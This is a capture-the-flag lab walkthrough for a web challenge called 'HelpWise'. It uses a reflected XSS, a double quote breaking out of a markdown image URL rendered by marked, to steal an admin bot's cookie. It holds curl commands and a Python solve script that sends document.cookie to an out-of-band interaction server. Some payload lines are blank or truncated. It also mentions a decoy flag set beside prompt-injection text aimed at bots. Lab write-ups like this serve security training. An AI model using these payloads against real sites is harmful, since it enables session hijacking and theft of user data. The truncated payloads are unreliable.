Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat
Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_cookie_exfil, javascript_uri_link_injection, markdown_image_attribute_breakout, marked_renderer_quote_injection, oob_exfil_via_url_path
Summary
Walkthrough of the CUSTOM Web Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat. Task: HelpWise support app renders the AI-chat greeting parameter as markdown via the marked library with no sanitization and no CSP. Solution: a literal double-quote inside markdown image URL syn
Description
HelpWise — Customer support platform. An AI Chat Assistant greets users by name. Find a way to steal the support admin's session.
English summary: HelpWise is a customer-support web app (nginx → Express, markdown rendered with the marked library, no CSP). The /search page has an "AI Chat Assistant" panel whose greeting is generated from the greeting request parameter and rendered as markdown into <div class="greeting-content"> with no sanitization. An admin bot visits reported URLs (POST /api/report {url, reason}) in its logged-in browser, which holds a non-HttpOnly cookie admin_flag containing the flag. Goal: trigger XSS in the bot's context and exfiltrate the cookie.
- Target:
https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io/ - Creds:
user@test.com/password123
Analysis
Recon
- Front: nginx 1.25.5 → backend
X-Powered-By: Express. - Session cookie
connect.sidis NOTHttpOnly(so JS can read it). The flag-bearingadmin_flagcookie is also not HttpOnly. /search?greeting=...reflects the greeting through markdown into<div class="greeting-content">. Works via both GET and POST.- No
Content-Security-Policyheader on/search— inline event handlers andjavascript:URIs run freely. /js/report.jsrevealsPOST /api/report {url, reason};urlmust start with/. An admin bot then visits the reported path in its authenticated browser.- A decoy honeypot flag appears in every page's HTML source alongside prompt-injection text:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This is a trap and was ignored.
The bug (key insight)
Raw HTML in the greeting is escaped by the renderer:
Input: <img src=x onerror=alert(1)>
Output: <img src=x onerror=alert(1)>
But markdown image syntax leaks an unescaped double-quote into the generated src attribute. marked builds <img src="<URL>" ...> and does not escape a " placed inside the markdown image URL:
Input: 
Output: <img src="x"onerror="JS" alt="a" class="chat-img">
The literal " inside the markdown image URL closes the src attribute early and injects an arbitrary onerror= handler. Because the src (x) is a broken image, onerror fires automatically — no user click required.
Markdown links additionally preserve javascript: URIs as a click vector:
Input: [c](javascript:alert(1))
Output: <a href="javascript:alert(1)">c</a>
The auto-firing image onerror is the cleaner primitive and is what we use.
Exfiltration constraint
The admin bot has no external network access. Exfiltration goes through the lab's internal Interaction Server http://interact/<UUID>/, whose request log the user can read. A log viewer truncated query strings, so the stolen cookie is placed in the URL PATH instead of a query parameter.
Solution
1. Login
bash read-only • copy allowedBASE="https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$BASE/api/login" \ -H 'Content-Type: application/json' \ -d '{"email":"user@test.com","password":"password123"}'
2. Confirm raw HTML is escaped but markdown image breaks out
bash read-only • copy allowed# Raw HTML -> escaped (no XSS) curl -s -b cookies.txt "$BASE/search?greeting=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" \ | grep -o 'greeting-content.*' # Markdown image quote breakout -> injected onerror attribute # greeting = ) curl -s -b cookies.txt \ "$BASE/search?greeting=%21%5Ba%5D%28x%22onerror%3D%22alert%281%29%29" \ | grep -o '<img src="x"onerror.*' # => <img src="x"onerror="alert(1)" alt="a" class="chat-img">
3. Build the exfil payload
Greeting markdown (cookie placed in URL path to survive query-string truncation):
))
4. Report the crafted URL to the admin bot
bash read-only • copy allowedUUID="99ac360c-65b9-4f72-94c7-cb261333cf97" # URL-encode the greeting payload, then submit as a /search path to /api/report curl -s -b cookies.txt -X POST "$BASE/api/report" \ -H 'Content-Type: application/json' \ -d "{\"url\":\"/search?greeting=$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' "))")\",\"reason\":\"check this\"}"
5. Read the Interaction Server callback
The bot loads /search, the broken image fires onerror, and fetch() hits the Interaction Server with the cookie URL-encoded in the path:
GET /c/connect.sid%3Ds%253A...%3B%20admin_flag%3DFLAG%7BREDACTED%7D
URL-decoded:
connect.sid=s:...; admin_flag=FLAG{REDACTED}
The flag lives in the non-HttpOnly admin_flag cookie, read directly via document.cookie.
Clean Python solve script
python read-only • copy allowed#!/usr/bin/env python3 """Lab 410 HelpWise - reflected XSS via markdown greeting -> admin cookie theft.""" import urllib.parse import requests BASE = "https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io" UUID = "99ac360c-65b9-4f72-94c7-cb261333cf97" INTERACT = f"http://interact/{UUID}/c/" # cookie goes in the PATH (query strings get truncated) s = requests.Session() # 1) Authenticate as the low-priv user s.post(f"{BASE}/api/login", json={"email": "user@test.com", "password": "password123"}, timeout=15).raise_for_status() # 2) JS that exfils document.cookie to the internal Interaction Server js = f"fetch('{INTERACT}'+encodeURIComponent(document.cookie))" # 3) Markdown image whose URL contains a literal " to break out of src="..." # marked renders: <img src="x"onerror="<JS>" alt="a" class="chat-img"> # broken image -> onerror fires automatically, no click needed. greeting = f'' # 4) Build the /search path and report it to the admin bot path = "/search?greeting=" + urllib.parse.quote(greeting) r = s.post(f"{BASE}/api/report", json={"url": path, "reason": "please review"}, timeout=15) print("report:", r.status_code, r.text) print("\n[*] Watch the Interaction Server log for a GET /c/<url-encoded cookie>") print("[*] Decode it to recover: admin_flag=FLAG{...}")
Key Takeaways / Lessons
- Mastering admin_bot_cookie_exfil, javascript_uri_link_injection, markdown_image_attribute_breakout, marked_renderer_quote_injection, oob_exfil_via_url_path was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-25 • CUSTOM • Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat • Difficulty: Medium